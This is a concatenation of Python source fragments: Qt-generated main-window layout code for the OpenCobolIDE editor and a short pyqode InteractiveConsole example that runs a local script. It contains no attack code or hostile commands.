sizePolicy.setHeightForWidth(self.frameRecents.sizePolicy().hasHeightForWidth()) self.frameRecents.setSizePolicy(sizePolicy) self.frameRecents.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frameRecents.setFrameShadow(QtWidgets.QFrame.Raised) self.frameRecents.setObjectName("frameRecents") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frameRecents) self.verticalLayout_4.setSpacing(0) self.verticalLayout_4.setContentsMargins(0, 0, 0, 0) self.verticalLayout_4.setObjectName("verticalLayout_4") self.labelRecents = QtWidgets.QLabel(self.frameRecents) self.labelRecents.setObjectName("labelRecents") self.verticalLayout_4.addWidget(self.labelRecents) self.listWidgetRecents = RecentFilesListWidget(self.frameRecents) self.listWidgetRecents.setMinimumSize(QtCore.QSize(400, 0)) self.listWidgetRecents.setObjectName("listWidgetRecents") self.verticalLayout_4.addWidget(self.listWidgetRecents) self.horizontalLayout_5.addWidget(self.frameRecents) spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem8) self.verticalLayout_5.addLayout(self.horizontalLayout_5) spacerItem9 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_5.addItem(spacerItem9) self.stackedWidget.addWidget(self.page) self.page_2 = QtWidgets.QWidget() self.page_2.setObjectName("page_2") self.gridLayout_2 = QtWidgets.QGridLayout(self.page_2) self.gridLayout_2.setContentsMargins(6, 6, 6, 6) self.gridLayout_2.setSpacing(6) self.gridLayout_2.setObjectName("gridLayout_2") self.tabWidgetEditors = TabWidget(self.page_2) self.tabWidgetEditors.setObjectName("tabWidgetEditors") self.gridLayout_2.addWidget(self.tabWidgetEditors, 0, 0, 1, 1) self.stackedWidget.addWidget(self.page_2) self.gridLayout.addWidget(self.stackedWidget, 0, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.toolBarFile = QtWidgets.QToolBar(MainWindow) self.toolBarFile.setObjectName("toolBarFile") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarFile) self.toolBarCode = QtWidgets.QToolBar(MainWindow) self.toolBarCode.setObjectName("toolBarCode") MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBarCode) self.dockWidgetLogs = QtWidgets.QDockWidget(MainWindow) self.dockWidgetLogs.setObjectName("dockWidgetLogs") self.dockWidgetContents = QtWidgets.QWidget() self.dockWidgetContents.setObjectName("dockWidgetContents") self.gridLayout_3 = QtWidgets.QGridLayout(self.dockWidgetContents) self.gridLayout_3.setObjectName("gridLayout_3") self.tabWidgetLogs = QtWidgets.QTabWidget(self.dockWidgetContents) self.tabWidgetLogs.setObjectName("tabWidgetLogs") self.tabCompiler = QtWidgets.QWidget() self.tabCompiler.setObjectName("tabCompiler") self.gridLayout_4 = QtWidgets.QGridLayout(self.tabCompiler) self.gridLayout_4.setContentsMargins(6, 6, 6, 6) self.gridLayout_4.setObjectName("gridLayout_4") self.errorsTable = ErrorsTable(self.tabCompiler) self.errorsTable.setMinimumSize(QtCore.QSize(0, 0)) self.errorsTable.setObjectName("errorsTable") self.gridLayout_4.addWidget(self.errorsTable, 0, 0, 1, 1) icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap(":/ide-icons/rc/emblem-important.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabCompiler, icon1, "") self.tabProgramOutput = QtWidgets.QWidget() self.tabProgramOutput.setObjectName("tabProgramOutput") self.gridLayout_5 = QtWidgets.QGridLayout(self.tabProgramOutput) self.gridLayout_5.setContentsMargins(6, 6, 6, 6) self.gridLayout_5.setSpacing(6) self.gridLayout_5.setObjectName("gridLayout_5") self.consoleOutput = InteractiveConsole(self.tabProgramOutput) self.consoleOutput.setObjectName("consoleOutput") self.gridLayout_5.addWidget(self.consoleOutput, 0, 0, 1, 1) icon2 = QtGui.QIcon() icon2.addPixmap(QtGui.QPixmap(":/ide-icons/rc/media-playback-start.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabProgramOutput, icon2, "") self.tabAppLog = QtWidgets.QWidget() self.tabAppLog.setObjectName("tabAppLog") self.verticalLayout = QtWidgets.QVBoxLayout(self.tabAppLog) self.verticalLayout.setObjectName("verticalLayout") self.textEditLogs = QtWidgets.QTextEdit(self.tabAppLog) self.textEditLogs.setReadOnly(True) self.textEditLogs.setObjectName("textEditLogs") self.verticalLayout.addWidget(self.textEditLogs) icon3 = QtGui.QIcon() icon3.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-32x32.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.tabWidgetLogs.addTab(self.tabAppLog, icon3, "") self.gridLayout_3.addWidget(self.tabWidgetLogs, 1, 0, 1, 1) self.dockWidgetLogs.setWidget(self.dockWidgetContents) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(8), self.dockWidgetLogs) self.menuBar = QtWidgets.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 900, 23)) self.menuBar.setObjectName("menuBar") self.menuFile = QtWidgets.QMenu(self.menuBar) self.menuFile.setObjectName("menuFile") self.menuEdit = QtWidgets.QMenu(self.menuBar) self.menuEdit.setObjectName("menuEdit") self.mnuActiveEditor = QtWidgets.QMenu(self.menuEdit) self.mnuActiveEditor.setObjectName("mnuActiveEditor") self.menuView = QtWidgets.QMenu(self.menuBar) self.menuView.setObjectName("menuView") self.menuToolbars = QtWidgets.QMenu(self.menuView) self.menuToolbars.setObjectName("menuToolbars") self.menuDock_panels = QtWidgets.QMenu(self.menuView) self.menuDock_panels.setObjectName("menuDock_panels") self.menuApplication_log = QtWidgets.QMenu(self.menuView) self.menuApplication_log.setObjectName("menuApplication_log") self.menuCobol = QtWidgets.QMenu(self.menuBar) self.menuCobol.setObjectName("menuCobol") self.menuProgramType = QtWidgets.QMenu(self.menuCobol) self.menuProgramType.setObjectName("menuProgramType") self.menu = QtWidgets.QMenu(self.menuBar) self.menu.setObjectName("menu") MainWindow.setMenuBar(self.menuBar) self.dockWidgetNavPanel = QtWidgets.QDockWidget(MainWindow) self.dockWidgetNavPanel.setMinimumSize(QtCore.QSize(300, 121)) self.dockWidgetNavPanel.setObjectName("dockWidgetNavPanel") self.dockWidgetContents_2 = QtWidgets.QWidget() self.dockWidgetContents_2.setObjectName("dockWidgetContents_2") self.gridLayout_7 = QtWidgets.QGridLayout(self.dockWidgetContents_2) self.gridLayout_7.setContentsMargins(6, 6, 6, 6) self.gridLayout_7.setObjectName("gridLayout_7") self.twNavigation = QtWidgets.QTreeWidget(self.dockWidgetContents_2) self.twNavigation.setObjectName("twNavigation") self.twNavigation.headerItem().setText(0, "1") self.twNavigation.header().setVisible(False) self.gridLayout_7.addWidget(self.twNavigation, 0, 0, 1, 1) self.dockWidgetNavPanel.setWidget(self.dockWidgetContents_2) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetNavPanel) self.dockWidgetOffsets = QtWidgets.QDockWidget(MainWindow) self.dockWidgetOffsets.setMinimumSize(QtCore.QSize(318, 127)) self.dockWidgetOffsets.setObjectName("dockWidgetOffsets") self.dockWidgetContents_3 = QtWidgets.QWidget() self.dockWidgetContents_3.setObjectName("dockWidgetContents_3") self.gridLayout_8 = QtWidgets.QGridLayout(self.dockWidgetContents_3) self.gridLayout_8.setObjectName("gridLayout_8") self.tableWidgetOffsets = QtWidgets.QTableWidget(self.dockWidgetContents_3) self.tableWidgetOffsets.setMinimumSize(QtCore.QSize(300, 0)) self.tableWidgetOffsets.setDragDropOverwriteMode(False) self.tableWidgetOffsets.setShowGrid(True) self.tableWidgetOffsets.setObjectName("tableWidgetOffsets") item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(0, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(1, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(2, item) item = QtWidgets.QTableWidgetItem() self.tableWidgetOffsets.setHorizontalHeaderItem(3, item) self.tableWidgetOffsets.horizontalHeader().setDefaultSectionSize(50) self.tableWidgetOffsets.horizontalHeader().setSortIndicatorShown(True) self.tableWidgetOffsets.horizontalHeader().setStretchLastSection(True) self.tableWidgetOffsets.verticalHeader().setVisible(False) self.gridLayout_8.addWidget(self.tableWidgetOffsets, 0, 0, 1, 1) self.dockWidgetOffsets.setWidget(self.dockWidgetContents_3) MainWindow.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dockWidgetOffsets) self.actionQuit = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("window-close") self.actionQuit.setIcon(icon) self.actionQuit.setIconVisibleInMenu(True) self.actionQuit.setObjectName("actionQuit") self.actionCompile = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("exec") self.actionCompile.setIcon(icon) self.actionCompile.setIconVisibleInMenu(True) self.actionCompile.setObjectName("actionCompile") self.actionRun = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("media-playback-start") self.actionRun.setIcon(icon) self.actionRun.setIconVisibleInMenu(True) self.actionRun.setObjectName("actionRun") self.actionAbout = QtWidgets.QAction(MainWindow) icon4 = QtGui.QIcon() icon4.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-64x64.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.actionAbout.setIcon(icon4) self.actionAbout.setIconVisibleInMenu(True) self.actionAbout.setObjectName("actionAbout") self.actionSave = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-save") self.actionSave.setIcon(icon) self.actionSave.setIconVisibleInMenu(True) self.actionSave.setObjectName("actionSave") self.actionSaveAs = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-save-as") self.actionSaveAs.setIcon(icon) self.actionSaveAs.setIconVisibleInMenu(True) self.actionSaveAs.setObjectName("actionSaveAs") self.actionFullscreen = QtWidgets.QAction(MainWindow) self.actionFullscreen.setCheckable(True) icon = QtGui.QIcon.fromTheme("view-fullscreen") self.actionFullscreen.setIcon(icon) self.actionFullscreen.setIconVisibleInMenu(True) self.actionFullscreen.setObjectName("actionFullscreen") self.actionNew = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-new") self.actionNew.setIcon(icon) self.actionNew.setIconVisibleInMenu(True) self.actionNew.setObjectName("actionNew") self.actionOpen = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("document-open") self.actionOpen.setIcon(icon) self.actionOpen.setIconVisibleInMenu(True) self.actionOpen.setObjectName("actionOpen") self.actionClear = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("edit-clear") self.actionClear.setIcon(icon) self.actionClear.setIconVisibleInMenu(True) self.actionClear.setObjectName("actionClear") self.aShowFilesToolbar = QtWidgets.QAction(MainWindow) self.aShowFilesToolbar.setCheckable(True) self.aShowFilesToolbar.setObjectName("aShowFilesToolbar") self.aShowCodeToolbar = QtWidgets.QAction(MainWindow) self.aShowCodeToolbar.setCheckable(True) self.aShowCodeToolbar.setObjectName("aShowCodeToolbar") self.aShowLogsWin = QtWidgets.QAction(MainWindow) self.aShowLogsWin.setCheckable(True) self.aShowLogsWin.setObjectName("aShowLogsWin") self.aShowNavWin = QtWidgets.QAction(MainWindow) self.aShowNavWin.setCheckable(True) self.aShowNavWin.setObjectName("aShowNavWin") self.actionPreferences = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("preferences-system") self.actionPreferences.setIcon(icon) self.actionPreferences.setIconVisibleInMenu(True) self.actionPreferences.setObjectName("actionPreferences") self.actionHelp = QtWidgets.QAction(MainWindow) icon = QtGui.QIcon.fromTheme("help") self.actionHelp.setIcon(icon) self.actionHelp.setIconVisibleInMenu(True) self.actionHelp.setObjectName("actionHelp") self.actionProgram = QtWidgets.QAction(MainWindow) self.actionProgram.setCheckable(True) self.actionProgram.setChecked(True) self.actionProgram.setObjectName("actionProgram") self.actionSubprogram = QtWidgets.QAction(MainWindow) self.actionSubprogram.setCheckable(True) self.actionSubprogram.setObjectName("actionSubprogram") self.actionDebug = QtWidgets.QAction(MainWindow) self.actionDebug.setObjectName("actionDebug") self.actionInfos = QtWidgets.QAction(MainWindow) self.actionInfos.setObjectName("actionInfos") self.actionWarnings = QtWidgets.QAction(MainWindow) self.actionWarnings.setObjectName("actionWarnings") self.actionErrors = QtWidgets.QAction(MainWindow) self.actionErrors.setObjectName("actionErrors") self.actionDebug_level = QtWidgets.QAction(MainWindow) self.actionDebug_level.setCheckable(True) self.actionDebug_level.setObjectName("actionDebug_level") self.actionShowAppLog = QtWidgets.QAction(MainWindow) self.actionShowAppLog.setCheckable(True) self.actionShowAppLog.setObjectName("actionShowAppLog") self.actionClearLog = QtWidgets.QAction(MainWindow) icon5 = QtGui.QIcon() icon5.addPixmap(QtGui.QPixmap(":/ide-icons/rc/edit-clear.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.actionClearLog.setIcon(icon5) self.actionClearLog.setIconVisibleInMenu(True) self.actionClearLog.setObjectName("actionClearLog") self.toolBarFile.addAction(self.actionNew) self.toolBarFile.addAction(self.actionOpen) self.toolBarFile.addSeparator() self.toolBarFile.addAction(self.actionSave) self.toolBarFile.addAction(self.actionSaveAs) self.toolBarCode.addAction(self.actionCompile) self.toolBarCode.addAction(self.actionRun) self.menuFile.addAction(self.actionNew) self.menuFile.addAction(self.actionOpen) self.menuFile.addSeparator() self.menuFile.addAction(self.actionSave) self.menuFile.addAction(self.actionSaveAs) self.menuFile.addSeparator() self.menuFile.addAction(self.actionQuit) self.mnuActiveEditor.addSeparator() self.menuEdit.addAction(self.mnuActiveEditor.menuAction()) self.menuEdit.addSeparator() self.menuEdit.addAction(self.actionPreferences) self.menuToolbars.addAction(self.aShowFilesToolbar) self.menuToolbars.addAction(self.aShowCodeToolbar) self.menuDock_panels.addAction(self.aShowLogsWin) self.menuDock_panels.addAction(self.aShowNavWin) self.menuApplication_log.addAction(self.actionShowAppLog) self.menuApplication_log.addAction(self.actionDebug_level) self.menuApplication_log.addSeparator() self.menuApplication_log.addAction(self.actionClearLog) self.menuView.addAction(self.menuToolbars.menuAction()) self.menuView.addAction(self.menuDock_panels.menuAction()) self.menuView.addSeparator() self.menuView.addAction(self.menuApplication_log.menuAction()) self.menuView.addSeparator() self.menuView.addAction(self.actionFullscreen) self.menuProgramType.addAction(self.actionProgram) self.menuProgramType.addAction(self.actionSubprogram) self.menuCobol.addAction(self.menuProgramType.menuAction()) self.menuCobol.addSeparator() self.menuCobol.addAction(self.actionCompile) self.menuCobol.addAction(self.actionRun) self.menu.addAction(self.actionHelp) self.menu.addAction(self.actionAbout) self.menuBar.addAction(self.menuFile.menuAction()) self.menuBar.addAction(self.menuEdit.menuAction()) self.menuBar.addAction(self.menuView.menuAction()) self.menuBar.addAction(self.menuCobol.menuAction()) self.menuBar.addAction(self.menu.menuAction()) self.retranslateUi(MainWindow) self.stackedWidget.setCurrentIndex(0) self.tabWidgetLogs.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "OpenCobolIDE")) self.label_3.setText(_translate("MainWindow", "<html><head/><body><p align=\"center\"><img src=\":/ide-icons/rc/silex-192x192.png\"/></p><p align=\"center\"><span style=\" font-size:20pt;\">Welcome to OpenCobolIDE</span><br/></p><p align=\"center\">Click on <span style=\" font-weight:600; font-style:italic;\">New </span>or <span style=\" font-weight:600; font-style:italic;\">Open </span>to get started!</p></body></html>")) self.btNewFile.setText(_translate("MainWindow", "New")) self.btOpenFile.setText(_translate("MainWindow", "Open")) self.labelRecents.setText(_translate("MainWindow", "<html><head/><body><p align=\"center\"><span style=\" font-weight:600; font-style:italic;\">Recent files</span></p></body></html>")) self.toolBarFile.setWindowTitle(_translate("MainWindow", "Toolbar File")) self.toolBarCode.setWindowTitle(_translate("MainWindow", "Toolbar Code")) self.dockWidgetLogs.setWindowTitle(_translate("MainWindow", "Logs")) self.tabWidgetLogs.setTabText(self.tabWidgetLogs.indexOf(self.tabCompiler), _translate("MainWindow", "Issues")) self.tabWidgetLogs.setTabToolTip(self.tabWidgetLogs.indexOf(self.tabCompiler), _translate("MainWindow", "Show compiler log")) self.tabWidgetLogs.setTabText(self.tabWidgetLogs.indexOf(self.tabProgramOutput), _translate("MainWindow", "Output")) self.tabWidgetLogs.setTabText(self.tabWidgetLogs.indexOf(self.tabAppLog), _translate("MainWindow", "Application log")) self.menuFile.setTitle(_translate("MainWindow", "File")) self.menuEdit.setTitle(_translate("MainWindow", "Edit")) self.mnuActiveEditor.setTitle(_translate("MainWindow", "Active editor")) self.menuView.setTitle(_translate("MainWindow", "View")) self.menuToolbars.setTitle(_translate("MainWindow", "Toolbars")) self.menuDock_panels.setTitle(_translate("MainWindow", "Windows")) self.menuApplication_log.setTitle(_translate("MainWindow", "Application log")) self.menuCobol.setTitle(_translate("MainWindow", "Cobol")) self.menuProgramType.setTitle(_translate("MainWindow", "Program type")) self.menu.setTitle(_translate("MainWindow", "?")) self.dockWidgetNavPanel.setWindowTitle(_translate("MainWindow", "Navigation")) self.dockWidgetOffsets.setWindowTitle(_translate("MainWindow", "Offset calculator")) self.tableWidgetOffsets.setSortingEnabled(True) # item = self.tableWidgetOffsets.horizontalHeaderItem(0) # item.setText(_translate("MainWindow", "Level")) # item = self.tableWidgetOffsets.horizontalHeaderItem(1) # item.setText(_translate("MainWindow", "Name")) # item = self.tableWidgetOffsets.horizontalHeaderItem(2) # item.setText(_translate("MainWindow", "Offset")) # item = self.tableWidgetOffsets.horizontalHeaderItem(3) # item.setText(_translate("MainWindow", "PIC")) self.actionQuit.setText(_translate("MainWindow", "Quit")) self.actionQuit.setToolTip(_translate("MainWindow", "Exit application (Ctrl+Q)")) self.actionQuit.setShortcut(_translate("MainWindow", "Ctrl+Q")) self.actionCompile.setText(_translate("MainWindow", "Compile")) self.actionCompile.setToolTip(_translate("MainWindow", "Compile the current file (F8)")) self.actionCompile.setShortcut(_translate("MainWindow", "F8")) self.actionRun.setText(_translate("MainWindow", "Run")) self.actionRun.setToolTip(_translate("MainWindow", "Run the current file (F5)")) self.actionRun.setShortcut(_translate("MainWindow", "F5")) self.actionAbout.setText(_translate("MainWindow", "About OpenCobolIDE")) self.actionAbout.setToolTip(_translate("MainWindow", "About OpenCobol IDE (F1)")) self.actionSave.setText(_translate("MainWindow", "Save")) self.actionSave.setToolTip(_translate("MainWindow", "Save current file (Ctrl+S)")) self.actionSave.setShortcut(_translate("MainWindow", "Ctrl+S")) self.actionSaveAs.setText(_translate("MainWindow", "Save as")) self.actionSaveAs.setToolTip(_translate("MainWindow", "Save current file as (Ctrl+Shift+S)")) self.actionSaveAs.setShortcut(_translate("MainWindow", "Ctrl+Shift+S")) self.actionFullscreen.setText(_translate("MainWindow", "Fullscreen")) self.actionFullscreen.setToolTip(_translate("MainWindow", "Toggle fullscreen (F12)")) self.actionFullscreen.setShortcut(_translate("MainWindow", "F11")) self.actionNew.setText(_translate("MainWindow", "New")) self.actionNew.setToolTip(_translate("MainWindow", "New file (Ctrl+N)")) self.actionNew.setShortcut(_translate("MainWindow", "Ctrl+N")) self.actionOpen.setText(_translate("MainWindow", "Open")) self.actionOpen.setToolTip(_translate("MainWindow", "Open a file (Ctrl+O)")) self.actionOpen.setShortcut(_translate("MainWindow", "Ctrl+O")) self.actionClear.setText(_translate("MainWindow", "Clear list")) self.actionClear.setToolTip(_translate("MainWindow", "Clear list of recent files")) self.aShowFilesToolbar.setText(_translate("MainWindow", "Files")) self.aShowFilesToolbar.setToolTip(_translate("MainWindow", "Show/Hide the files toolbar")) self.aShowCodeToolbar.setText(_translate("MainWindow", "Code")) self.aShowCodeToolbar.setToolTip(_translate("MainWindow", "Show/Hide code toolbar")) self.aShowLogsWin.setText(_translate("MainWindow", "Logs")) self.aShowLogsWin.setToolTip(_translate("MainWindow", "Show/Hide logs window")) self.aShowLogsWin.setShortcut(_translate("MainWindow", "F9")) self.aShowNavWin.setText(_translate("MainWindow", "Navigation")) self.aShowNavWin.setToolTip(_translate("MainWindow", "Show/Hide navigation panel")) self.aShowNavWin.setShortcut(_translate("MainWindow", "F10")) self.actionPreferences.setText(_translate("MainWindow", "Preferences")) self.actionPreferences.setToolTip(_translate("MainWindow", "Edit the application settings")) self.actionHelp.setText(_translate("MainWindow", "Help")) self.actionHelp.setShortcut(_translate("MainWindow", "F1")) self.actionProgram.setText(_translate("MainWindow", "Executable")) self.actionSubprogram.setText(_translate("MainWindow", "Module")) self.actionDebug.setText(_translate("MainWindow", "Debug")) self.actionInfos.setText(_translate("MainWindow", "Infos")) self.actionWarnings.setText(_translate("MainWindow", "Warnings")) self.actionErrors.setText(_translate("MainWindow", "Errors")) self.actionDebug_level.setText(_translate("MainWindow", "Debug Log Level")) self.actionDebug_level.setToolTip(_translate("MainWindow", "Activate debug messages")) self.actionShowAppLog.setText(_translate("MainWindow", "Show window")) self.actionShowAppLog.setToolTip(_translate("MainWindow", "Show/hide application log window")) self.actionClearLog.setText(_translate("MainWindow", "Clear"))
""" This example show you how to use the InteractiveConsole. To make this example complete and cross-platform, we created an interactive process which prints some text and asks for user inputs. That way you can see that the console is actually interactive. """ import sys from pyqode.qt import QtWidgets from pyqode.core.widgets import InteractiveConsole app = QtWidgets.QApplication(sys.argv) console = InteractiveConsole() console.start_process(sys.executable, ['interactive_process.py']) console.show() app.exec_()
def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(1054, 831) MainWindow.setMinimumSize(QtCore.QSize(0, 0)) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap(":/ide-icons/rc/silex-192x192.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) MainWindow.setWindowIcon(icon) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.gridLayout = QtWidgets.QGridLayout(self.centralwidget) self.gridLayout.setContentsMargins(0, 0, 0, 0) self.gridLayout.setSpacing(0) self.gridLayout.setObjectName("gridLayout") self.stackedWidget = QtWidgets.QStackedWidget(self.centralwidget) self.stackedWidget.setObjectName("stackedWidget") self.pageHome = QtWidgets.QWidget() self.pageHome.setObjectName("pageHome") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageHome) self.verticalLayout_5.setObjectName("verticalLayout_5") self.widgetHome = QtWidgets.QWidget(self.pageHome) self.widgetHome.setObjectName("widgetHome") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.widgetHome) self.verticalLayout_2.setContentsMargins(0, 0, 0, 0) self.verticalLayout_2.setObjectName("verticalLayout_2") spacerItem = QtWidgets.QSpacerItem(20, 0, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_2.addItem(spacerItem) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setContentsMargins(0, -1, 0, -1) self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.verticalLayout_3 = QtWidgets.QVBoxLayout() self.verticalLayout_3.setObjectName("verticalLayout_3") self.label_3 = QtWidgets.QLabel(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_3.sizePolicy().hasHeightForWidth()) self.label_3.setSizePolicy(sizePolicy) self.label_3.setMinimumSize(QtCore.QSize(0, 0)) self.label_3.setMaximumSize(QtCore.QSize(16777215, 16777215)) self.label_3.setWordWrap(True) self.label_3.setObjectName("label_3") self.verticalLayout_3.addWidget(self.label_3) self.horizontalLayout_3.addLayout(self.verticalLayout_3) spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem2) self.verticalLayout_2.addLayout(self.horizontalLayout_3) self.horizontalLayout_8 = QtWidgets.QHBoxLayout() self.horizontalLayout_8.setContentsMargins(-1, 0, -1, 0) self.horizontalLayout_8.setObjectName("horizontalLayout_8") spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem3) self.btNewFile = QtWidgets.QPushButton(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btNewFile.sizePolicy().hasHeightForWidth()) self.btNewFile.setSizePolicy(sizePolicy) self.btNewFile.setMinimumSize(QtCore.QSize(200, 0)) self.btNewFile.setObjectName("btNewFile") self.horizontalLayout_8.addWidget(self.btNewFile) self.btOpenFile = QtWidgets.QPushButton(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Minimum) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btOpenFile.sizePolicy().hasHeightForWidth()) self.btOpenFile.setSizePolicy(sizePolicy) self.btOpenFile.setMinimumSize(QtCore.QSize(200, 0)) self.btOpenFile.setStyleSheet("") self.btOpenFile.setObjectName("btOpenFile") self.horizontalLayout_8.addWidget(self.btOpenFile) spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_8.addItem(spacerItem4) self.verticalLayout_2.addLayout(self.horizontalLayout_8) self.horizontalLayout_9 = QtWidgets.QHBoxLayout() self.horizontalLayout_9.setContentsMargins(0, 0, 0, -1) self.horizontalLayout_9.setObjectName("horizontalLayout_9") spacerItem5 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem5) self.line_2 = QtWidgets.QFrame(self.widgetHome) self.line_2.setMinimumSize(QtCore.QSize(400, 0)) self.line_2.setFrameShape(QtWidgets.QFrame.HLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName("line_2") self.horizontalLayout_9.addWidget(self.line_2) spacerItem6 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_9.addItem(spacerItem6) self.verticalLayout_2.addLayout(self.horizontalLayout_9) self.horizontalLayout_5 = QtWidgets.QHBoxLayout() self.horizontalLayout_5.setContentsMargins(0, -1, -1, -1) self.horizontalLayout_5.setObjectName("horizontalLayout_5") spacerItem7 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem7) self.frameRecents = QtWidgets.QFrame(self.widgetHome) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frameRecents.sizePolicy().hasHeightForWidth()) self.frameRecents.setSizePolicy(sizePolicy) self.frameRecents.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frameRecents.setFrameShadow(QtWidgets.QFrame.Raised) self.frameRecents.setObjectName("frameRecents") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frameRecents) self.verticalLayout_4.setSpacing(0) self.verticalLayout_4.setContentsMargins(0, 0, 0, 0) self.verticalLayout_4.setObjectName("verticalLayout_4") self.labelRecents = QtWidgets.QLabel(self.frameRecents) self.labelRecents.setObjectName("labelRecents") self.verticalLayout_4.addWidget(self.labelRecents) self.listWidgetRecents = RecentFilesListWidget(self.frameRecents) self.listWidgetRecents.setMinimumSize(QtCore.QSize(400, 0)) self.listWidgetRecents.setObjectName("listWidgetRecents") self.verticalLayout_4.addWidget(self.listWidgetRecents) self.horizontalLayout_5.addWidget(self.frameRecents) spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem8) self.verticalLayout_2.addLayout(self.horizontalLayout_5) spacerItem9 = QtWidgets.QSpacerItem(20, 1, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) self.verticalLayout_2.addItem(spacerItem9) self.verticalLayout_5.addWidget(self.widgetHome) self.stackedWidget.addWidget(self.pageHome) self.page_2 = QtWidgets.QWidget() self.page_2.setObjectName("page_2") self.gridLayout_2 = QtWidgets.QGridLayout(self.page_2) self.gridLayout_2.setContentsMargins(0, 0, 0, 0) self.gridLayout_2.setSpacing(0) self.gridLayout_2.setObjectName("gridLayout_2") self.tabWidgetEditors = TabWidget(self.page_2) self.tabWidgetEditors.setOrientation(QtCore.Qt.Horizontal) self.tabWidgetEditors.setObjectName("tabWidgetEditors") 